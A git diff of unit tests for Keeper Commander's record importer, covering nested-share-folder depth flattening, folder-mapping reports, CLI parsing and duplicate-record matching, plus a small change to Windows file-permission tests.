RecordImportCommand, import_parser from keepercommander.importer.csv.csv import KeeperCsvImporter from keepercommander.importer.importer import Folder, Record, SharedFolder, Permission @@ -43,6 +44,34 @@ def _perm(name=None, uid=None, role=None, manage_records=False, manage_users=Fal return p +def _login_record(): + rec = Record() + rec.type = 'login' + rec.title = 'Database Account' + rec.login = 'svc_db' + rec.password = 'secret' + return rec + + +def _login_data(): + return { + 'type': 'login', + 'title': 'Database Account', + 'fields': [ + {'type': 'login', 'value': ['svc_db']}, + {'type': 'password', 'value': ['secret']}, + ], + } + + +def _cached_login_record(uid): + return { + 'record_uid': uid, + 'version': 3, + 'data_unencrypted': json.dumps(_login_data()), + } + + class TestNsfImport(TestCase): def test_classic_perms_to_nsf_role(self): cases = [ @@ -91,8 +120,10 @@ def test_prepare_nsf_folders(self): 'child1': {'name': 'Apps', 'parent_uid': 'root1'}, }) rec, fol = _record('Migration\\Apps') - self.assertEqual(nsf_import.prepare_nsf_folders(params, [], [rec]), 0) + created, mapping = nsf_import.prepare_nsf_folders(params, [], [rec]) + self.assertEqual(created, 0) self.assertEqual(fol.uid, 'child1') + self.assertEqual(mapping, [('Migration\\Apps', 'Migration\\Apps', 'child1')]) rec, fol = _record('Migration\\New') with mock.patch(CREATE, return_value=['new1']) as m: @@ -108,6 +139,119 @@ def test_prepare_nsf_folders(self): m.assert_called_once_with(mock.ANY, [('ProjectA', 'base')]) self.assertEqual(sf.uid, 'proj1') + def test_prepare_nsf_folders_default_depth_flattens(self): + rec, fol = _record('L1\\L2\\L3\\L4\\L5\\L6\\L7') + params = _params({}) + uids = iter(['uid1', 'uid2', 'uid3', 'uid4', 'uidL7', 'uidL5', 'uidL6']) + with mock.patch(CREATE, side_effect=lambda p, batch: [next(uids) for _ in batch]) as m: + created, mapping = nsf_import.prepare_nsf_folders(params, [], [rec]) + # Default depth is 5: L1-L4 stay a normal chain; the path's own leaf + # (L7) attaches directly under L4. L5 and L6 - the levels skipped to + # get there - each still get their own sibling folder under L4, with + # no name ever merged or renamed. + calls = [c.args[1] for c in m.call_args_list] + self.assertEqual(calls, [ + [('L1', '')], + [('L2', 'uid1')], + [('L3', 'uid2')], + [('L4', 'uid3')], + [('L7', 'uid4'), ('L5', 'uid4'), ('L6', 'uid4')], + ]) + # `created` counts new entries in params.nested_share_folders, which the + # mocked create_nsf_folders_batch (via seed_nsf_folder_cache) never populates here. + self.assertEqual(created, 0) + self.assertEqual(mapping, [ + ('L1\\L2\\L3\\L4\\L5\\L6\\L7', 'L1\\L2\\L3\\L4\\L7', 'uidL7'), + ('L1\\L2\\L3\\L4\\L5', 'L1\\L2\\L3\\L4\\L5', 'uidL5'), + ('L1\\L2\\L3\\L4\\L5\\L6', 'L1\\L2\\L3\\L4\\L6', 'uidL6'), + ]) + self.assertEqual(fol.uid, 'uidL7') + + def test_prepare_nsf_folders_siblings_under_same_parent(self): + """Two paths overflowing under the same kept ancestor become sibling folders.""" + rec_a, fol_a = _record('Dept\\Team-Infra\\App-Billing') + rec_b, fol_b = _record('Dept\\Team-Infra\\App-Billing\\Env-Prod') + params = _params({}) + uids = iter(['uidDept', 'uidAppBilling', 'uidTeamInfra', 'uidEnvProd']) + with mock.patch(CREATE, side_effect=lambda p, batch: [next(uids) for _ in batch]) as m: + created, mapping = nsf_import.prepare_nsf_folders(params, [], [rec_a, rec_b], folder_depth=2) + calls = [c.args[1] for c in m.call_args_list] + self.assertEqual(calls, [ + [('Dept', '')], + [('App-Billing', 'uidDept'), ('Team-Infra', 'uidDept'), ('Env-Prod', 'uidDept')], + ]) + self.assertEqual(fol_a.uid, 'uidAppBilling') + self.assertEqual(fol_b.uid, 'uidEnvProd') + # Team-Infra is skipped by both paths and is reported once (deduped), + # keeping its own true original ancestor path. + self.assertEqual(mapping, [ + ('Dept\\Team-Infra\\App-Billing', 'Dept\\App-Billing', 'uidAppBilling'), + ('Dept\\Team-Infra', 'Dept\\Team-Infra', 'uidTeamInfra'), + ('Dept\\Team-Infra\\App-Billing\\Env-Prod', 'Dept\\Env-Prod', 'uidEnvProd'), + ]) + + def test_depth_flattening_is_generic_across_import_formats(self): + """--folder-depth flattening is applied centrally in prepare_nsf_folders, + independent of which --format produced the records - verify with CSV + (a non-JSON format) that the same sibling-folder result occurs.""" + deep_path = 'Migration\\Region-East\\Site-NYC\\Dept-IT\\Team-Infra\\App-Billing\\Env-Prod' + with tempfile.NamedTemporaryFile('w', suffix='.csv', delete=False, encoding='utf-8') as tf: + tf.write(f'{deep_path},Billing DB - Prod,billing_svc,Prod!Pass123,https://billing-prod.internal,\n') + path = tf.name + try: + items = list(KeeperCsvImporter().do_import(path)) + finally: + os.unlink(path) + + records = [x for x in items if isinstance(x, Record)] + self.assertEqual(len(records), 1) + + params = _params({}) + uids = iter(['uidMigration', 'uidRegionEast', 'uidSiteNYC', 'uidDeptIT', + 'uidEnvProd', 'uidTeamInfra', 'uidAppBilling']) + with mock.patch(CREATE, side_effect=lambda p, batch: [next(uids) for _ in batch]) as m: + created, mapping = nsf_import.prepare_nsf_folders(params, [], records) + calls = [c.args[1] for c in m.call_args_list] + self.assertEqual(calls, [ + [('Migration', '')], + [('Region-East', 'uidMigration')], + [('Site-NYC', 'uidRegionEast')], + [('Dept-IT', 'uidSiteNYC')], + [('Env-Prod', 'uidDeptIT'), ('Team-Infra', 'uidDeptIT'), ('App-Billing', 'uidDeptIT')], + ]) + self.assertEqual(records[0].folders[0].uid, 'uidEnvProd') + self.assertEqual(mapping, [ + ('Migration\\Region-East\\Site-NYC\\Dept-IT\\Team-Infra\\App-Billing\\Env-Prod', + 'Migration\\Region-East\\Site-NYC\\Dept-IT\\Env-Prod', 'uidEnvProd'), + ('Migration\\Region-East\\Site-NYC\\Dept-IT\\Team-Infra', + 'Migration\\Region-East\\Site-NYC\\Dept-IT\\Team-Infra', 'uidTeamInfra'), + ('Migration\\Region-East\\Site-NYC\\Dept-IT\\Team-Infra\\App-Billing', + 'Migration\\Region-East\\Site-NYC\\Dept-IT\\App-Billing', 'uidAppBilling'), + ]) + + def test_prepare_nsf_folders_explicit_depth_override(self): + rec, fol = _record('A\\B\\C\\D\\E') + params = _params({}) + uids = iter(['uidA', 'uidE', 'uidB', 'uidC', 'uidD']) + with mock.patch(CREATE, side_effect=lambda p, batch: [next(uids) for _ in batch]) as m: + created, mapping = nsf_import.prepare_nsf_folders(params, [], [rec], folder_depth=2) + # Depth 2: only room for 1 chained level (A); the leaf (E) attaches + # directly under it. B, C, D - the skipped levels - each still get + # their own sibling folder under A. + calls = [c.args[1] for c in m.call_args_list] + self.assertEqual(calls, [ + [('A', '')], + [('E', 'uidA'), ('B', 'uidA'), ('C', 'uidA'), ('D', 'uidA')], + ]) + self.assertEqual(created, 0) + self.assertEqual(mapping, [ + ('A\\B\\C\\D\\E', 'A\\E', 'uidE'), + ('A\\B', 'A\\B', 'uidB'), + ('A\\B\\C', 'A\\C', 'uidC'), + ('A\\B\\C\\D', 'A\\D', 'uidD'), + ]) + self.assertEqual(fol.uid, 'uidE') + def test_prepare_nsf_folders_batches_same_depth(self): params = _params({'root': {'name': 'Root', 'parent_uid': ''}}) rec_a, fol_a = _record('Root\\A') @@ -210,8 +354,40 @@ def test_cli_nsf_skips_classic_prompt(self): self.assertTrue(all(imp.call_args.kwargs.get(k) for k in ('manage_users', 'manage_records', 'can_edit', 'can_share'))) + def test_cli_folder_mapping_report_output_modes(self): + cmd = RecordImportCommand() + mapping = [('Old\\Path', 'New\\Path', 'uid1')] + with mock.patch('keepercommander.importer.commands.imp_exp._import', return_value=mapping), \ + mock.patch('keepercommander.importer.commands.dump_report_data') as dump: + cases = [ + ({'use_nsf': True, 'output': '/tmp/out.csv'}, 'csv', '/tmp/out.csv'), + ({'use_nsf': True, 'output': 'table'}, 'table', None), + ({'use_nsf': True}, None, None), + ({}, None, None), + ] + for extra_kwargs, expected_fmt, expected_filename in cases: + dump.reset_mock() + cmd.execute(_params(), format='json', name='sample_data/import_nsf.txt', **extra_kwargs) + if expected_fmt: + dump.assert_called_once_with( + [['Old\\Path', 'New\\Path', 'uid1']], + ['JSON Path', 'New Path', 'Folder UID'], + fmt=expected_fmt, + filename=expected_filename, + ) + else: + dump.assert_not_called() + + def test_parser_and_path_resolve(self): self.assertTrue(any('--nsf' in (a.option_strings or []) for a in import_parser._actions)) + self.assertTrue(any('--folder-depth' in (a.option_strings or []) for a in import_parser._actions)) + self.assertEqual( + import_parser.parse_args(['--format=json', '--folder-depth=1', 'sample.json']).folder_depth, + 1) + with self.assertRaises(ParseError) as cm: + import_parser.parse_args(['--format=json', '--folder-depth=0', 'sample.json']) + self.assertIn('--folder-depth must be >= 1', str(cm.exception)) nsf_txt = os.path.join(SAMPLE, 'import_nsf.txt') if not os.path.isfile(nsf_txt): @@ -232,6 +408,51 @@ def test_parser_and_path_resolve(self): os.path.abspath(KeeperCsvImporter().resolve_file_path(csv_path)), os.path.abspath(csv_path)) + def test_import_users_only_passes_folder_depth_to_nsf_preparation(self): + sf = SharedFolder() + sf.path = 'Root\\Team\\Leaf' + + class FakeImporter: + verbose_import_summary = False + + def execute(self, *args, **kwargs): + yield sf + + with mock.patch('keepercommander.importer.imp_exp.importer_for_format', return_value=FakeImporter), \ + mock.patch('keepercommander.importer.imp_exp.sync_down.sync_down'), \ + mock.patch('keepercommander.importer.nsf_import.prepare_nsf_folders') as prepare, \ + mock.patch('keepercommander.importer.nsf_import.apply_nsf_folder_permissions'): + imp_exp._import(_params(), 'json', 'sample.json', use_nsf=True, users_only=True, folder_depth=2) + + prepare.assert_called_once_with(mock.ANY, [sf], [], '', folder_depth=2) + + def test_classic_import_ignores_existing_nsf_folders_when_building_paths(self): + params = _params() + params.data_key = b'1' * 32 + + root = NestedShareFolderNode() + root.uid = 'nsf_root' + root.name = 'Root' + root.parent_uid = '' + team = NestedShareFolderNode() + team.uid = 'nsf_team' + team.name = 'Team' + team.parent_uid = root.uid + params.folder_cache = { + root.uid: root, + team.uid: team, + } + params.shared_folder_cache = {} + + rec, fol = _record('Root\\Team\\Leaf') + with mock.patch( + 'keepercommander.importer.imp_exp.api.generate_record_uid', + side_effect=['AAAAAAAAAAAAAAAAAAAAAA', 'BBBBBBBBBBBBBBBBBBBBBB', 'CCCCCCCCCCCCCCCCCCCCCC']): + folder_add = imp_exp.prepare_folder_add(params, [], [rec], False, False, False, False) + + self.assertEqual([x.folderType for x in folder_add], [1, 1, 1]) + self.assertEqual(fol.uid, 'CCCCCCCCCCCCCCCCCCCCCC') + def test_cyberark_style_nsf_folder_paths(self): """CyberArk --nsf places safes as NSF paths (not classic shared domains).""" rec = Record() @@ -321,3 +542,59 @@ def test_prepare_record_link_skips_nsf_root_records(self): params.folder_cache = {} params.root_folder = mock.MagicMock(type='/', uid='') self.assertEqual(prepare_record_link(params, [rec]), []) + + def test_nsf_duplicate_matching_uses_only_existing_nsf_records(self): + from keepercommander.importer.imp_exp import prepare_record_add_or_update + + existing_uid = 'classic_rec' + params = _params() + params.record_type_cache = {} + params.record_cache = {existing_uid: _cached_login_record(existing_uid)} + params.nested_share_records = {} + + nsf_import, nsf_exists, _ = prepare_record_add_or_update( + False, False, params, [_login_record()], 'json', use_nsf=True) + self.assertEqual(len(nsf_import), 1) + self.assertEqual(nsf_exists, []) + + params = _params() + params.record_type_cache = {} + params.record_cache = {} + params.nested_share_records = { + 'nsf_rec': {'record_uid': 'nsf_rec', 'version': 3}, + } + params.nested_share_record_data = {'nsf_rec': {'data_json': _login_data()}} + + records_to_import, record_exists, _ = prepare_record_add_or_update( + False, False, params, [_login_record()], 'json', use_nsf=True) + self.assertEqual(records_to_import, []) + self.assertEqual(len(record_exists), 1) + + def test_classic_duplicate_matching_ignores_existing_nsf_records(self): + from keepercommander.importer.imp_exp import prepare_record_add_or_update + + existing_uid = 'nsf_rec' + params = _params() + params.record_type_cache = {} + params.record_cache = {existing_uid: _cached_login_record(existing_uid)} + params.nested_share_records = { + existing_uid: {'record_uid': existing_uid, 'version': 3}, + } + + records_to_import, record_exists, _ = prepare_record_add_or_update( + False, False, params, [_login_record()], 'thycotic', use_nsf=False) + self.assertEqual(len(records_to_import), 1) + self.assertEqual(record_exists, []) + + def test_cyberark_import_creates_duplicate_instead_of_shortcut(self): + from keepercommander.importer.imp_exp import prepare_record_add_or_update + + existing_uid = 'classic_rec' + params = _params() + params.record_type_cache = {} + params.record_cache = {existing_uid: _cached_login_record(existing_uid)} + + records_to_import, record_exists, _ = prepare_record_add_or_update( + False, False, params, [_login_record()], 'cyberark') + self.assertEqual(len(records_to_import), 1) + self.assertEqual(record_exists, []) diff --git a/unit-tests/test_windows_file_permissions.py b/unit-tests/test_windows_file_permissions.py index c058da26e..27a54baed 100644 --- a/unit-tests/test_windows_file_permissions.py +++ b/unit-tests/test_windows_file_permissions.py @@ -46,7 +46,7 @@ def _grant_principal(self, mock_run): @mock.patch('os.path.islink', return_value=False) def test_grant_uses_qualified_principal_when_names_collide(self, _islink, _system, mock_run): with tempfile.NamedTemporaryFile(delete=False) as tmp: - path = tmp.name + path = os.path.realpath(tmp.name) try: with mock.patch.dict(os.environ, {'USERNAME': 'ivan', 'USERDOMAIN': 'IVAN'}, clear=False): utils.set_file_permissions(path) @@ -59,7 +59,7 @@ def test_grant_uses_qualified_principal_when_names_collide(self, _islink, _syste @mock.patch('os.path.islink', return_value=False) def test_grant_uses_domain_principal(self, _islink, _system, mock_run): with tempfile.NamedTemporaryFile(delete=False) as tmp: - path = tmp.name + path = os.path.realpath(tmp.name) try: with mock.patch.dict(os.environ, {'USERNAME': 'jdoe', 'USERDOMAIN': 'CORP'}, clear=False): utils.set_file_permissions(path)